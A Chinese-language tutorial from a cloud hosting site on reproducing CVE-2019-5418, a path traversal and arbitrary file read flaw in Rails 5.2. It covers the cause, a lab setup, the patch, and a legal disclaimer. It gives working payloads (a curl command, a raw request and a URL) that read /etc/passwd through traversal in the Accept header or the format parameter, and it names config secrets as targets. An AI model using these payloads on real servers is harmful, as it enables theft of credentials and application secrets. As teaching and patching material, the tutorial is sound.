您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎么进行Ruby on Rails路径穿越与任意文件读取漏洞CVE-2019-5418复现
## 漏洞概述
CVE-2019-5418是Ruby on Rails框架中存在的一个高危漏洞,影响版本范围为Rails 5.2.0至5.2.2.1。该漏洞源于开发模式下的异常处理机制未对用户输入进行充分过滤,攻击者可通过构造特殊路径实现目录穿越,最终导致服务器敏感文件泄露。
## 漏洞原理
在开发模式下,Rails的`ActionDispatch::FileHandler`组件处理静态文件请求时存在缺陷:
1. 当请求不存在的模板文件时,Rails会尝试渲染错误页面
2. 错误页面模板路径由用户控制的`Accept`头或文件扩展名拼接而成
3. 攻击者可通过`../../`实现路径穿越,读取系统任意文件
## 环境搭建
### 准备条件
- 虚拟机或Docker环境
- Ruby 2.5+ 环境
- 存在漏洞的Rails版本(如5.2.1)
```bash
# 安装指定版本Rails
gem install rails -v 5.2.1
# 创建测试应用
rails new vulnerable_app
cd vulnerable_app
rails server -e development -p 3000
curl -H "Accept: ../../../../etc/passwd{{" http://localhost:3000/
GET / HTTP/1.1
Host: localhost:3000
Accept: ../../../../etc/passwd{{
http://localhost:3000/not_exist?format=../../../../etc/passwd%257b%257b
服务器将返回/etc/passwd
文件内容,证明漏洞存在。
成功利用后可以读取: - 系统敏感文件(/etc/passwd) - Rails应用配置文件(config/database.yml) - 密钥文件(config/secrets.yml) - 源代码文件
Accept
头中的特殊字符升级到以下版本: - Rails 5.2.2.2+ - Rails 6.0.0.beta3+
升级命令:
gem update rails
漏洞核心代码如下(简化版):
def render_for_browser_request
template = MissingTemplate.new(..., params[:format])
render html: template.to_s.html_safe
end
当format
参数包含路径穿越符号时,MissingTemplate
会将其拼接到文件路径中,导致不安全文件访问。
”`
注:本文仅用于安全研究与授权测试,未经授权对他人系统进行测试属于违法行为。实际操作请确保获得系统所有者书面授权。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。